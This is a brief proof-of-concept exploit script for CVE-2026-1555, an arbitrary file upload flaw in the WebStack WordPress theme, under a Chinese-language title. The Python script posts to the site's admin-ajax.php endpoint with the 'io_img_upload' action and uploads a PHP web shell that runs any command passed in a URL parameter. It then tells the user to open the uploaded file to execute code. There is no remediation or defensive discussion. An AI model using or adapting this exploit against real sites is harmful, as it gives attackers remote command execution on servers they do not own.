CVE-2026-1555: WebStack主题任意文件上传漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" shell_filename = "shell.php" # Vulnerable action parameter based on the function name io_img_upload payload_data = { "action": "io_img_upload" } # Malicious PHP file content files = { "file": (shell_filename, "<?php phpinfo(); system($_GET['cmd']); ?>", "application/octet-stream") } try: response = requests.post(target_url, data=payload_data, files=files) if response.status_code == 200: # Note: The response usually contains the path to the uploaded file or a relative URL print("[+] File upload request sent successfully.") print("[+] Response:", response.text) # Attempt to access the uploaded shell (Path needs to be extracted from response or guessed) # Example guess: /wp-content/uploads/2026/04/shell.php print("[+] Try accessing the uploaded file to execute code.") else: print("[-] Upload failed.") print(response.text) except Exception as e: print(f"Error: {e}")